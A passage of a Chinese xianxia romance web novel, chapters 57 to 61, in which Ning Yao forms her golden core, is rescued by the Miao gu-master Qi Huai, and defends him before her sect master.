这阵法能替结丹弟子扛下两道天雷,堪称结丹渡劫的偷懒神器。 她没告诉祁淮,雷劫不长眼,她虽摸不透那家伙实力深浅,可不想他因自己受伤。 感受着周身充盈欲溢的火灵气,她吞下固金丹,在阵眼处盘膝坐好。 前两道天雷轰然劈落,阵法结界应声碎裂。她运转灵气硬抗下第三道,惊喜地发现只剩最后一道雷劫。 刚要调息,丹田突然一滞。 原本温顺的火灵气竟疯狂逆流,疼得她当场呕出血来。 宁瑶蜷缩着按住胸口,额角渗出冷汗。 这蚀骨剖心的痛感,简直比来月事更疼百倍。 她喉头又溢出一口血,看向头顶云层翻涌的雷劫。 作者有话说:[彩虹屁]2k收了,收益也涨涨涨就好了[狗头叼玫瑰] 第58章 宁瑶捂住胸口,试图调动灵力,甫一运转就抽痛不止。 痛楚如潮水阵阵涌来,几乎要将她吞没。 她内视到原本体内已初具雏形的金丹,此刻竟泛起细密裂纹,仿佛下一刻就要在灵脉中崩散。 不行。 绝不能半途而废。 眼看天雷轰然劈落,宁瑶疼得眼前发黑,连从储物玉佩摸出防护法器的力气都没有。 就在这时,一道极轻的剑风掠过,可比剑风更快的,是随着深蓝色身影飘来的清脆铃音。 惊雷坠下的刹那,少年已撑开灵气,以结界将她牢牢护住。 天雷本是冲着宁瑶来的,不想半途竟有旁人横插一脚。 “轰隆”一声巨响。 紫色电光与结界悍然相撞,炸开漫天流火,宛若一道撕裂苍穹的银练,将这一方天地照得雪亮。 宁瑶疼得神志涣散,还当是自己出现了幻觉。 直到有人轻柔托起她的身子,她才后知后觉这不是梦。 勉强睁开眼,发现自己正被祁淮搂在微凉的怀中。浑身疼得厉害,她下意识揪紧他袖口,咬牙咽下呜咽,抽了一口气:“疼”恍惚间,宁瑶竟看见祁淮眼底满是慌乱。 这在他身上可是头一遭。 “别怕。”祁淮声音里藏着不易察觉的颤抖,目光紧紧锁住她苍白的脸。 一只蛊虫悄无声息地从他袖中钻出,没入宁瑶体内,迅速啃噬着她紊乱的灵源。 就在灵源被净化的瞬间,一道黑影猛地从她影子里窜出,向远处逃遁。 祁淮作势要追,却更放心不下怀中人,他抱得紧了紧:“醒醒。” 随后赶到的洛子晟见状,冷冽的目光扫过现场,见有傀儡守在宁瑶身边略作迟疑,立刻转身追向黑影。 岳伍原本在附近护法,察觉四道不同气息后眼神一凛,也紧随洛子晟而去。 宁瑶闭上眼,感到体内剧痛正奇迹般消退。 金丹结成后的纯净灵力涤荡全身,排出杂质后的肌肤汗涔涔的,黏腻得叫人不适。 “金丹成了,”她在他怀里不安分地动了动,故意用轻快的语气说,“就是身上好脏啊。” 此刻宁瑶眉眼灵动,哪还有方才奄奄一息的模样? 唯有衣襟嘴角上斑驳的血迹刺目依旧。 祁淮垂眸看着宁瑶强装无事的样子,指腹轻轻擦过她唇角血渍,将染血的指尖抵在自己唇边舔去。 眼神一暗,下一秒突然将她打横抱起,紧紧箍在怀中。 “搂紧我,”祁淮压低声音,喉结轻轻滚动,“别说话,这就带你回去。” 宁瑶这时才后知后觉。 祁淮他这是担心过头了? 良久,心里咯噔一声。 ——糟糕。 她确实瞒着他独自前来,宁瑶意识到一件考虑不周的事。 此刻要面对的祁淮,可不是没有情绪的傀儡,而是个活生生的人。 祁淮手臂收紧,将她纤细的腰身更深地按向自己。 怀中真实的触感让他稍定,可方才看见她嘴角染血的那一幕,仍在脑中反复闪现。 他察觉到现场有两道陌生气息,可一想到若是他再迟一步…… 这个念头刺入胸腔,激起一阵尖锐的后怕。 目光触及她苍白唇边那抹刺目的红,所有的理智瞬间碾碎。 “抱紧我。”祁淮嗓音低哑,诱哄着在她膝窝拍了拍她的腿。 宁瑶闻言,眼神犹豫再三,抬手还是环住他的脖颈,往他怀里贴了贴,脸颊靠在他颈窝埋着:“这样够紧了吗?” “嗯。”祁淮喉结微动,抬手将她的脑袋往自己肩头又按了按,补了一句,“很快便到了。” 少女的馨香萦绕在鼻尖,却未能抚平他心口那阵涩痛。 宁瑶悄悄抬眼,见他薄唇紧抿,眸色沉郁如积雨的云,便伸出指尖,轻轻点了点他的唇角。 她迂回试探,想问他是不是在生气,话到嘴边却变成:“你为什么不高兴?” 祁淮长睫低垂,幽深的眸光与她相撞,将她的话低声重复了一遍:“为什么不高兴……” 他忽地极轻地笑了一下,搂在她后背的手掌加重了力道,恨不得能将她揉入骨血时刻看在眼里,又反问道:“我为何生气,你会不知?” 宁瑶故作无辜眨了眨眼,先前那点理直气壮瞬间漏了气,但梗着脖子小声在他耳边嘟囔:“你不说我怎么知道?” 祁淮感受着耳畔的呼吸,本是享受的欢愉可一想到某人行为,压下声音里压着某种危险的意味,“还疼么?嗯?” 见她一时不答,难得乖乖小猫窝着,肯定是疼得没了力气。 “我早不疼了。” “我……”宁瑶一时语塞,下意识想解释,可话在唇齿间转了几圈,终究别扭地咽了回去,只小声嘟囔,“结金丹这种事,我、我自己能行。” 祁淮眼底掠过一丝暗芒。 他的小猫,似乎总学不会依赖他。 回到小院,宁瑶被他轻轻放入氤氲着热气的灵池。 她刚解开外衫,只着素白里衣浸入水中,便见去而复返的祁淮执起软帕,不由分说地俯身靠近。 宁瑶绷紧脊背,抬眸瞧着他。 祁淮到底知不知道现在她在沐浴呀,不过她现在在做惊恐是不是太迟了…… 他的动作极轻,帕子反复擦拭着她的唇角,仿佛要抹去什么不存在的痕迹。 宁瑶仰着脸,被他眼神钉在原地,连呼吸放轻。 宁瑶拉着他的衣袖,放下他的手,“是我大意了,别生气了,嘴巴都要被你擦破了。” 祁淮闻言俯身,唇瓣相触的瞬间,舌尖恰巧掠过她唇角。宁瑶受惊般轻启朱唇,他立即察觉她要咬人,强压着贪恋退开半寸,喉结轻滚。 目光仍黏在她唇上,眼底翻涌着克制的迷离。 “我没生气。”他视线刻意避开她浸湿的衣衫,只专注望进她眼睛,“只是不喜欢看你唇染血色。” 像雪地不该染尘,合该干干净净。 “这样就好了,好好泡着。”说罢祁淮转身离去,步履极快。 宁瑶望着他背影出神,祁淮却觉喉间燥意翻涌。 他本已要走,又折返顺手拎走了她搭在屏风上那件染血的鹅黄衣裙。 她往灵池里缩了缩,脸颊发烫。 不知是灵泉太热,还是火灵气乱窜…… 不敢深想,她整张脸埋进水里。 待出浴时已不见祁淮踪影。 想到他方才举动,宁瑶猜他是去洗裙子了,便打算回屋调息。 途经偏屋,见门未关,她如今目力清明,一眼便望见了里头情形。 见到一幕脸颊一热。 祁淮正低头揉搓那件鹅黄裙子。 皂角清香混着她残存的馨香萦绕在鼻尖,他攥着衣料的指节渐渐发白。 搓去血腥味,他盯着裙子失神了一下。 再闻一次,应该没事? 鬼使神差地,他又将衣物凑近鼻尖轻嗅。很是馨香,与皂角的味道混合在一起,他依然能敏睿捕捉到她身上存留香气。 祁淮惊觉在做什么,原本苍白的耳垂漫上胭脂色,掌心的又开始发烫。 一道微妙的情愫,比之那一点点触碰,似乎已满足不了他。 发白的指尖一寸寸收紧。 心有所感,一道无法忽视的眼神而至。 恰在此时,宁瑶不慎足尖碰在了门框。 四目相对,她霎时脸红如霞。 宁瑶一时不知该假装没看见还是开口,赶紧像只受惊的鹌鹑般扭头就走。 祁淮微微歪头,非但无措,眼底反而漾开一丝幽邃兴奋的笑意。 机灵的小猫,总是能精准发现他的秘密呢。 宁瑶一路捂着怦怦乱跳的心口闪回房中,还没来得及顺过气,院门就传来不紧不慢的叩响。 她下意识躲开祁淮探究的视线,祁淮已敏锐地察觉出来者身份,眼底顿时漫上晦暗的幽光,寸步不离地跟在她身后。 “快戴好。”宁瑶回头急急使了个眼色。 祁淮歪头勾起唇角,慢条斯理地将面具覆上脸庞,抱臂斜倚门柱,浑身却散发着蛰伏野兽般的危险气息。 门一开,洛子晟的目光便越过宁瑶,直直钉在她身后那个戴着面具的身影上。 “师尊寻你。”他语气迟疑,视线仍锁在祁淮身上。 宁瑶侧身挡了挡:“现在?” “那道黑影遁入丹峰了。”洛子晟收回审视的目光,“云师妹正在戒律堂。” 等几人赶到时,只见云冉冉跪在殿中,仰起苍白小脸望向宁瑶时,眼圈倏地红了:“师姐……” 岳伍面沉如水,右下首的荷钰见宁瑶无恙,指尖轻点座下跪着的云冉冉:“固金丹验过了,并无异样,此事恐怕另有蹊跷。” “师尊明鉴,丹药本就是我央师妹帮忙炼制的,绝无邪物之说。”宁瑶急忙辩解。 “可邪物确实消失在云冉冉院中。”洛子晟冷声补充。 宁瑶心头猛地一跳。 这是原著里恶毒女配她的剧情啊。 再看云冉冉已垂下头默默垂泪,岳伍长叹一声背过身去:“邪物之事不可轻纵,先将云冉冉押往思过崖,待查清再议。” 荷钰离去前深深看了云冉冉一眼,未置一词。 眼见云冉冉真要被押走,宁瑶急忙扯住岳伍衣袖:“师尊,云师妹断不会做这种事。” 闻言,云冉冉袖中指尖微颤,眼底掠过一丝难以察觉的光。 岳伍却始终沉默,态度坚决。 是夜,宁瑶悄悄摸上思过崖。 此处终年积雪,地底下是一座地牢,镇压着宗门重犯,穷凶极恶之徒,山上关押着犯错的弟子。 宁瑶先是探查了云冉冉的院落,可惜一无所获,并无所谓邪物的踪迹,便悄摸摸地溜上了那座思过崖。 被封住灵脉的云冉冉在结界中冻得瑟瑟发抖,见宁瑶来了,眼眸睁大:“师姐怎么来了……” “嘘,别出声,快把这个拿着。”宁瑶将避风珠塞进她冰凉的手心。 “师姐信我?”云冉冉抬起泛红的眼。 宁瑶颔首,正要细问,忽闻远处传来脚步声,急忙闪身躲进岩缝。 作者有话说:[让我康康]不太勤快的咕,今天一看签约以来总字数到一百万字了,明年还要写嘿嘿嘿 第59章 宁瑶小心翼翼地偷看着,竟见明御提着食盒匆匆赶来,解下披风将云冉冉裹紧:“冉冉师妹!” “明师兄。”云冉冉扑进他怀里,将脸埋进他胸膛,脑袋却是看向宁瑶的方向。 “谁!”明御警惕地发现了有人的踪迹,立刻将云冉冉护在身后。 宁瑶被抓包,半掩着面,在暗处瞟了他一眼便慢腾腾走出来。 明御尴尬地脸颊一红,下意识地推开了云冉冉,“师妹,你、你怎么在这里?” 宁瑶干笑了一下,严肃画风似一下子就变了,“我来看看云师妹。” 云冉冉没有开口,一时场面明御感觉有些窒息。 未等他开口,气氛凝滞时,云冉冉忽然仰起脸看向他,“明师兄,你愿意为我付出一切吗?” 明御下意识地瞥向在场的第三人,宁瑶一瞬间眼神八卦,他扭头看向这双含泪泛红的杏眼。 他一瞬被其蛊惑般连连点头,“我……” 云冉冉泪眼盈盈地抬眸,牵着明御的手,袖口抽出一把刀,毫无征兆地刺入了青年的心口,一朵血花自胸口绽放。 “冉冉,师妹……” 宁瑶惊得猛地睁大眼,云冉冉像是丢垃圾一样,轻描淡写地送了明御一脚,把他丢下山崖。 她正要飞身相救,手腕却被冰凉五指扣住,云冉冉反而拽紧她的手腕拉扯,力气大的,宁瑶觉得自己手腕下一秒就要碎了。 反手五指如铁钳扣住她脖颈,她被迫仰头时,瞥见对方眼底的幽光,眼神空洞又深邃。 这是失了神智? 宁瑶当即闭目凝气,掌心灵光暴起将人震开三步。 “你究竟是谁?”宁瑶抚着颈间红痕厉喝,剧烈咳嗽几声。 她太放松警惕,竟没发现眼前“云冉冉”的不对劲。刚抽出长鞭,忽觉灵力滞涩,勉强点在穴位克制毒素蔓延,不知何时着了道。 宁瑶闭上眼闭气凝神,一击灵气直接打在“云冉冉”身上。 她低笑出声,踉跄地退后,阴影自她裙裾下蔓延。 “云冉冉”歪头勾起诡异的笑,眼神带着彻骨的冷意,“你不必知道我是谁。” 眼见杀招已知,电光火石间,一道深蓝色身影自她身侧掠出。 宁瑶捂住脖子弯唇,见到祁淮便像一只有人撑腰的猫,胸有成竹地往后退了一步。 祁淮盯着她颈间红痕,眸光沉了沉,周身危险的气息无声展开。 两人分明早约定按兵不动,可他见宁瑶还是受了伤,理智顷刻崩塌。 这一刻,他真的对云冉冉存了杀心。 “去吧。”一条黑蛇飞速窜出,缠上云冉冉四肢,附身邪物见势欲逃,却被少年截断去路。 祁淮阴戾的眸光压下,忽地一笑,可笑得却似彻骨的寒:“呵?伤了她,死。” 一道流光钻入云冉冉影子,他纵身一跃进入了影子之中。 “祁淮当心了!” 宁瑶强催火灵诀想要相助,却因毒发慢了半拍,凌厉的掌风袭来,宁瑶借势坠向思过崖,早有准备的法器托着她稳稳落地。 果不其然,那位倒霉蛋师兄正躺在不远处奄奄一息。 “真的倒霉。” 宁瑶暗自腹诽:这原著剧情还真没避开…… 她扫一眼四周,思过崖底有禁制,禁制之下灵力全失,法力无法用出,更别说御剑,只能徒步走出去。 还好按照约定,祁淮解决完便会来救她,想来应该不久了。 就这么将身家性命托付的信任,宁瑶一时说不清会真的交给祁淮,他刚刚的气势狠厉危险,平日倒没看出来。 服下解毒丹,给明御又用了药给他治疗,不过她总觉得哪里有些不对劲。 明御苏醒时慌忙摸向心口,只触到一道细疤,倒吸了一口气惊呼:“我竟没死?” “当然没死了。” 听见这带笑的声音,明御扭头看见灰头土脸的少女,冷哼一声:“怎么偏和你掉在一处?” 宁瑶轻笑,掉下来还要分个先后顺序? “要不我把师兄挂回崖壁上,你重新掉一次?” 明御捂着心口处,干脆不接宁瑶的话,怔忡道:“冉冉师妹为何……” “‘她’可不是你的冉冉师妹。”宁瑶抱膝坐在一块石头上,指尖窜起火苗点燃枯枝,“是附身的邪物。” 跃动的火光映着她眉眼,明御一时晃神。 宁瑶打了个喷嚏,嘟囔着往火堆旁凑近些,“祁淮再不来,就要给咱们收尸啦。” 宁瑶冻得意识模糊,整个人蜷在冰凉的岩石旁瑟瑟发抖。 跳跃的火焰刚带来一丝暖意,一股甜腻异香悄然弥漫。 明御只来得及说个“这味道……”便直挺挺倒了下去。 宁瑶颈后的情缠蛊骤然发烫,烫得她神智清明了一瞬。 彻底陷入黑暗前,她看见一双绣着繁复暗纹的黑色长靴停在自己面前,伴随着一阵银铃声响。 祁淮在她身前蹲下,冰凉的手指托起她无力垂落的身子。 他指腹缓慢摩挲着她颈间那道红痕,心中刺疼的瞬间,腾升一股从未有过的愤怒。 微凉的指尖流连往返,又极轻地按压一下,听着宁瑶每一个呼吸,俯身将一个个吻覆盖在原先痕迹上。 “以后不许了。” 隐忍克制的唇瓣带着陌生的濡湿触感,仿佛要渗进她每一个毛孔。 吮吸着她颈侧细腻的肌肤,发出一丝暧昧的气音。 “邪物我已捉到了,你这不听话的小猫,合该由我带走……” 被声音刺激宁瑶昏沉有片刻清醒,她掀开眼皮,对上那双危险又幽深的眸子。 “祁淮。”她的声音虚弱,本能地察觉到他气息的一丝危险,微眯起眼。 祁淮指尖轻点她颈间吻痕,笑意更深,“替我藏好印记,这里只能是我的,只能我留下痕迹。” 她还欲说话,仍被睡意席卷,软软栽进他怀中。 再醒来时,已是自己熟悉的房间。 祁淮端着药碗快步走近,眸中关切与幽暗交织:“感觉可好些了?” “我怎么回来的?”宁瑶慌忙抬手摸向脖颈。 幻出水镜一看,果然点缀着几枚嫣红的印记,压过了那些指痕。 “我抱回来的。”祁淮舀起一勺汤药递到她唇边,看着她迟疑一瞬乖乖咽下,眼神渐渐深沉,翻涌着不在掩饰的渴意。 见祁淮跟个没事人似的,只一个劲儿盯着自己瞧,宁瑶勉强扯出个笑,指着脖子问:“你、你干嘛这样”"盖掉。”祁淮微歪头,笑得纯然无辜,“我不喜欢你身上留着其他的印记。” 宁瑶喉头干咽着一滚,强自镇定地扬起脸:“以后不许这样了。” 目光相触的刹那,宁瑶先一步移开眼,慌忙寻了个话头:“那邪物呢”“交给宗主了。” 宁瑶点点头,沉默在两人之间蔓延。 祁淮一言不发地喂完药,她刚要起身往门外去,一只骨节分明的手却轻抵在了门框上。 祁淮单只负手而立,身姿如修竹挺拔,长睫低垂:“你要去哪?” “我去看看云冉冉怎么样了。” 祁淮眼底掠过一丝暗芒,吃味地抿唇一笑。 他指腹摩挲着腰间的四角铃铛,倾身逼近。微凉的指尖抚过她颈间红痕低笑一声,眸色沉得幽深,一字一顿:“不去,好不好?” 宁瑶后知后觉地嗅到他情绪里混杂的恼意与不甘,一时不知该如何应对。 这次祁淮是当真有了情绪,动了怒。 宁瑶欲要后撤,祁淮手臂环住她的腰肢,将人带回怀中,神色露出一丝微妙的受伤,嗓音喑哑:“为何要躲?是不欢喜我了吗?” 宁瑶急急地抬眸看向他,心下第一个念头:她不想他露出这般神情,得想个办法。 可直白的质问让宁瑶一怔,慌忙地绽开惯常的笑靥,下意识开口:“我没有。” “那为什么不像我待你这般待我?我和傀儡还是有区别的对吧?”祁淮压低嗓音,目光锁住她每一寸表情。 可她仍是把对傀儡那般的态度,这不是他想要的。 宁瑶顿时如被拿住要害的小兽下意识要挣动,她顿时被说的心虚:“没有把你当做傀儡了。” 祁淮凑近,俊美的面容在她瞳孔中放大,“那金丹大成后,你不再需要我了吗”“需要。”宁瑶安抚地看着他拥抱了一下,抬起眼眸眨了眨。 “那就证明自己。”祁淮抿了抿唇,“触碰我,像我对你一样。” 话音一落,温软的唇已轻覆而上。 退开时齿尖若有似无地擦过宁瑶的下唇,极轻得咬了一下。 他学得话本太多,如今不知哪一种对小猫有用。 可若是小猫不懂,他亦可以言传身教,一遍遍,一遍遍试过去…… 宁瑶被这一口咬得懵住,抱着他腰的手就要撒开:“你咬我做什么?” “要像这样,亲咬着回来。”祁淮低哑的声音诱哄着,指尖轻扣落在她的后脑勺不许她退。 心底叫嚣着再靠近些,比以往任何时刻都要渴望。 他垂眸凝视着她被咬得泛红的唇瓣,翻涌的暗潮终于寻到了突破口。 “现在明白了吗?碰碰我,瑶瑶。” 亲昵的称呼让她耳尖烧得通红,宁瑶呆愣愣撞进那双蛊惑人心的眼眸。 在祁淮俯身的刹那,闭上眼干脆攥紧他腰封,垫脚吻了上去。 不就是证明嘛,谁不会! 这个带着安抚意味的吻得太急,祁淮又已弯腰,齿关相撞,彼此都尝到淡淡的血腥味。 祁淮眼底幽火骤得一燃,当即轻扣住她后脑,撬开唇齿,辗转间加深这个吻,当即被打横抱起,让宁瑶跨坐在他身上。 不给小猫任何后退的空间。 青涩的触碰化作缠绵的掠夺,早再触碰这一瞬间。 她身体的因莫名的愉快而战栗,酥酥麻麻的,仿佛电流。 ——想要,比以往任何时候都想要更多。 一吻结束,宁瑶微微喘着气,脑子里还是懵的,她真的亲上去了? 耳畔传来低低的笑声,她脸颊“轰”地烧起来,强撑着瞪圆眼睛看回去:“笑什么笑。” “你脸好红。”他目光下滑,落在她湿润的唇上。 “热的。”宁瑶嘴硬。 “可今天冬至呢,”祁淮歪头,眼底漾着狡黠的光,“哪儿热呀?” ……无情,祁淮直接戳穿了,她不要面子呀。 宁瑶“唰”地从他身上跳下来,扭头就往门外走:“我去喝口茶。” “屋内有茶。”祁淮看着她一下僵硬的背影,忍不住低头轻笑。 炸毛了,得顺顺毛才行。 宁瑶一路深呼吸,这次祁淮没拦着,她拢了拢立领的狐毛披风遮住颈间,传信的千纸鹤飞至她身侧,岳伍声音从其传出:邪物指认苗疆,速来主殿。 祁淮嘴角笑意消失。 第60章 祁淮唇角勾起一抹玩味的笑,轻哼一声:“此事与苗疆……” 他沉吟一瞬,目光掠过宁瑶的脸庞,忽而话锋一转,轻飘飘道:“此事与我无关。” “我自然知道,”宁瑶语气轻快,甚至朝他眨了眨眼,“你日日与我形影不离,哪有功夫捣鬼?” 她转身欲走,又回头给祁淮一个安抚的笑,“我去去就回。” 甫一转身,宁瑶脸上笑意褪尽。 主殿空旷得诡异,这般大事竟只有岳伍与洛子晟二人静立其中。 空气刹那凝滞,二人的神色晦暗难辨。 关押的影妖在囚牢中乱窜,却被禁制反弹,它一再尖声重申:“我只是一个苗疆人豢养的小妖,一切与我无关,我只是奉命行事。” “那你能指认?”宁瑶眸光清亮看着它。 黑影如雾,犹豫着在囚牢中游荡,“他走了,不在天道宗。” “这小妖说的未必是真。”洛子晟清冷视线投向宁瑶,指间捻出一枚留影石,“此物原为监视云冉冉动向,不料却记下了些意外之趣。” 他声线清冷,目光却灼灼钉在宁瑶身上,这一刻,洛子晟手握证据,只有扬眉吐气地轻松。 宁瑶心头骤紧,面上仍强作镇定:“记录了何事?” 光影流转间,只见留影石上祁淮的蛊虫正撕扯着扭曲黑影。那蛊虫啃噬过半忽止动作,似在犹豫,仿佛记起还需留它给宁瑶交差。 “苗疆秘术饲影为妖,”洛子晟字字如刀,“而师妹身边那位,根本不是什么傀儡,而是精通御蛊之法的苗疆人。” “我早知……”宁瑶坦然迎视。 “住口!”岳伍扬声截断。 他凝视宁瑶的目光杂糅着忧虑与袒护,唯独不见疑色,“可有原因?” 这一瞬,宁瑶体会到何为被长辈珍重相护的暖意,“师尊他救我助我,不曾害我,此事我定护他。” 岳伍挥袖布下隔音结界:“瑶瑶,既知他底细,立即送他离开。若你不忍。”他背过身,声音骤沉,“为师可将他秘密诛于天道峰,此事仅我三人知晓。” 杀祁淮? 宁瑶脸色骤白,失声惊呼:“不可。” “弟子愿助师尊一臂之力。”洛子晟当即应声。 宁瑶暗暗瞪向他,这人自初见便对祁淮满怀敌意,更是怀疑祁淮身份,此刻怕是早已按捺不住杀心。 她眼眸亮得惊人,急忙上前一步行礼:“若只因祁淮出身苗疆便定他罪过,这等偏见恕弟子不能认同。” 宁瑶嗓音清越,字字有力:“祁淮从未做过对不起天道宗之事。青合宗遇袭时是他苦撑结界,才撑到援兵赶来;影妖之祸中更是因我,他才冒险救下云冉冉以致身份暴露。” “这一桩一件,他救我何止一次?师尊若要罚他欺瞒之过,宁瑶愿代其受罚,毕竟在此之前,我原是他的主人,如今……” 宁瑶大脑疯狂运转,咬了咬后槽牙,抬眸看向岳伍字字清晰:“他是我选定的道侣。” 除了岳伍稍显惊讶,只有洛子晟反应最大。 “不可能。” 宁瑶抬眸看向洛子晟,“有无不可能。” 想到祁淮可能血溅当场,宁瑶心头猛地一抽。先认下这道侣身份再说,以后的事情以后再说。 岳伍身为天下第一宗的宗主,早已半圣之境,距登仙仅一步之遥。祁淮虽能抗衡金丹修士,但在宗主面前绝无生机。 少女强忍焦灼的神情,刺痛了洛子晟。 洛子晟清冷眉宇间染上薄怒,伸手欲扶她起身,却被宁瑶拂开。 那截衣袖从他掌心滑落时,剑心泛起从未有过的涟漪。 “你从未为谁这般……”洛子晟眼底失望疑惑。 “怎么,”宁瑶轻笑,“师兄你错了,我不过在陈述事实。即便非要逐他出宗门,他是我的道侣,我为自己道侣说一句有何错之有”宁瑶抿了抿唇,无数念头掠过脑海。 这般将自己置于风口浪尖的举动,从前的她断做不出来。 可当祁淮的性命悬于一线,宁瑶才发现,原来最先涌上的念头是:哪怕祁淮有时危险的很,可无论如何,她都要他活着。 岳伍长久沉默着。 少女紧绷的脊背,与那张熟悉容颜渐渐重叠,恍如昨日重现。 就在宁瑶欲再争辩时,一道光牢骤然笼罩而下。 她眼睁睁看着岳伍转身欲走,慌忙伸手去碰光壁,“滋啦”一声,掌心顿时烫出血痕。 “师尊,”洛子晟急声道,“师妹她”宁瑶却顾不得灼痛,紧紧盯着岳伍:“弟子愿以性命担保,所有责罚由我承担,只求师尊明鉴祁淮绝非祸首。” 岳伍合目长叹。 当年他未能阻止那个人的离去,酿成永世之憾。如今绝不能再看着她唯一的血脉,重蹈覆辙。 “你想清楚了?” “再清楚不过。”宁瑶眸光坚定。 “三日为限。查明那少年来历,回禀领罚,之后遣返苗疆山海渊,从此不得踏入天道宗半步。” “遵命。”宁瑶利落行礼,经过洛子晟时已决绝离去,再无半分眼神。 洛子晟攥紧的拳缝间,渗出点点殷红。 回到住所时,宁瑶悄悄将掌心的伤痕藏进袖中,神色如常地推开门。 抬头望去,天道峰上空乌云翻墨,沉甸甸地压着屋檐似的,山雨欲来的窒闷在空气中蔓延。 无形的结界在她踏入时轻轻波动。 她像往日一样瘫进躺椅,毛毯随之轻飘飘落下来,盖住了她。 “黑影说了什么?”祁淮的声音从身侧传来,漫不经心,像在问今日的天气。 宁瑶闭着眼往毯子里缩了缩:“指向苗疆之人,可却不肯说出是谁,但我总觉得是片面之词。” 他忽地一笑,弯腰凑近,小辫垂落在她脸颊边:“这般信我?” “信我自己罢了。”她盈盈一笑,偏头躲开他的注视,指尖勾着他的小辫极轻一扯把玩。 她见窗外簌簌落下今冬第一场雪,惊喜道:“祁淮,落雪了。”连忙起身倚向门边,看向雪粒触地即化。 他站到她身侧,无声压下誓言反噬的灼痛:“原来雪长这样。”他又轻笑着补充,“苗疆从不下雪。” “那定是个四季如春的地方。” “虽无冬季,春夏秋倒是一个不少。”他歪头时银饰轻响,指尖倏然拂过耳际的碎发。眼波流转,无声胜有声。 但都不及小猫肌肤盛雪,更为好看。 宁瑶被他看的莫名,脸色顿时燥了一下,赶紧转移着注意力,灵力卷起飘雪在空中凝成六棱冰晶。 她指着现代课本里常见的雪花形态,笑着道:“你看,放大后的雪其实是这样的,怎么样是不是很神奇。” 祁淮目光定格在她笑颜:“好看。” 宁瑶笑了一下,有意问:“祁淮,你为何出苗疆?” 祁淮瞧着她神色,嗓音不自然压低,开口道:“寻人。” 他压下喉头腥甜,疼痛让他眼中只有漠然,“亲人。” 祁淮出苗疆是为了此事? 她虽好奇,见他神态有些古怪难看,暗自记下。 “不过方才的问题,你还没答。若我身份暴露,你待如何?” 她扬起惯常的浅笑,却又不再掩藏自己的那些真诚道:“从前我是你主人,现在我们是朋友啊,我肯定如以往相待……” “不是朋友。”祁淮一字一顿咬碎这个词,谁要做什么朋友。 他的身影笼罩下来,“是道侣。” “你不仅长得美,想得更美。”宁瑶耳根漫上绯色。 祁淮幽深地眸光锁定,在她唇上落下一吻。 呼吸交缠,被他厮磨唇瓣,又咬住下唇。 祁淮见宁瑶似要推开他,才离开这处柔软。 宁瑶被亲的又一瞬缺氧感,听见他哑声呢喃:“朋友才不会这样亲吻吧。” 这人一到此事,脑袋瓜总是比平日转的更快更猛。 宁瑶慌忙退后一步,舔了舔刺痛的唇瓣,意识到自己做了什么动作,忙转移话题:“冬至了,该吃饺子,祁淮你会做吗?不会的话,我们去找本菜谱依葫芦画瓢。” “等着吧。” 宁瑶眼前一亮,小尾巴似的跟他去厨房。 祁淮熟练地揉面,见面团在她手里不听使唤地乱窜。伸手将她往怀里一带,躲开面粉扬起,塞给她小团面。 “一边,玩这个。” “祁淮,我严重怀疑你在小瞧我。”宁瑶憋笑着撇嘴,指尖捏着面团,偷偷看祁淮熟练揉面的侧影。 氤氲蒸汽里,他睫毛垂落的阴翳,像蛊惑的蝶翼上下翕动。 想到刚刚信誓旦旦和师尊说祁淮是自己道侣,这般言论,她是怎么义正言辞的说出口的。 不过这些都是权宜之策罢了。 宁瑶低头不语,只一味地捏出一个歪歪扭扭的小面人,正被丑萌的小东西逗的窃笑,抬头撞进祁淮幽深的眼眸:“看什么?” “这不会捏着是我?”祁淮微歪头坏笑一下,这一次不待宁瑶遮遮掩掩,就一把拿起举高,“我看看。” “给你给你。”宁瑶反而不去抢,捏那么丑,鬼见都丑,能看出是祁淮本人才怪。 祁淮见她不上钩,顿时微妙地眯了眯眼,宁瑶早已被锅内翻滚的饺子吸引了目光。 热腾腾的猪肉白菜馅饺子端上桌时,她一口咬了半个,满足得眼睛弯成月牙。 直到盘中吃完,宁瑶压下声音,轻声说:“祁淮,你回苗疆去吧。” 瓷匙“铛”一声撞在碗沿,碎了满室暖意。 宁瑶生怕祁淮多想,急忙扯住他的袖口晃了晃。 “我金丹已成,回苗疆解蛊的事我记得的,只是最近杂事缠身……”宁瑶声音越来越低,“要不你先动身,我随后”“你保证过,不会赶我走。”祁淮眼底翻涌着晦暗的浪潮,凑近盯着她的亮眸,企图看出她掩藏于眸色以下的事情。 宁瑶故作镇定,挺直腰板,“没有赶你走。你就先走一步下天道宗,等我七天,我自然会追上你。” 祁淮的视线细细描摹着宁瑶每一寸表情,忽然倾身靠近:“好。” “有情缠蛊在,你在哪我都能寻到。”祁淮低声念出过于最后一句直白的话语,贪念地眼神落在宁瑶身上,微凉手指抚上她脸颊。 宁瑶笑着眨了眨,压下长睫,见他没看出端倪,莫名地松了一口气,“嗯,好啊。” 祁淮虽有疑惑,但宁瑶向来说做便做,三日后送他下了天道宗。 总算一事落定,可祁淮居然并未有所追问,她竟是心里不踏实,可现如今还得去戒律堂领罚。 寒冬腊月,处罚台上。 宁瑶瞧着施罚弟子手中长鞭,打了个寒颤。 作者有话说:评论,营养液,都可以砸来(阴暗爬行)《 》 60-70 第61章 宁瑶盯着长鞭,脑中上演了十鞭子下去的画面,只怕自己得皮开肉绽、疼到昏厥吧。 她深吸一口气,干脆闭上眼静静等待。 呼啸的鞭声破空而来,一鞭接一鞭抽在她身后。 待行刑结束,宁瑶咬紧牙关,脸色僵硬。 倒不是疼的,而是困惑。 这鞭子听着吓人,落在身上却只有轻微的刺痛感,与她预想中的剧痛相去甚远。 正当她思绪纷乱,颈后突然一阵发烫,耳鸣嗡嗡作响,一阵眩晕袭来。 受罚一事本未声张,谁知她刚稳住身形,伴随着急促的脚步声,一道藕粉色身影就闯入了视线。 只见夜烁卿手握玉笛,疾步而来。 执刑的李师兄认出这位阵峰弟子,宗门里独树一帜的人物,终日一身藕粉,为人风流不羁,在一众男弟子中可谓一种清流。 “夜师弟前来所为何事?” “宁师妹与我交好,人我先带走了。” 夜烁卿匆匆打过招呼。 他目光落在她后背的鞭痕上,立即上前搀扶。宁瑶刚要开口,就被他递来一颗丹药到嘴边。 “这是止疼的……” 她连忙偏头避开,接过丹药塞进袖口,佯装服下,这才抬眼看夜烁卿。 今日的花孔雀难得敛去了平日嬉笑,眉眼深邃凌厉,不经意间流露出几分独属于上位者的威严,竟让人莫名生出几分距离感。 原来他不笑,看起来板着脸就怪凶。 “夜师兄,你怎么来了?”宁瑶疑惑地轻声问。 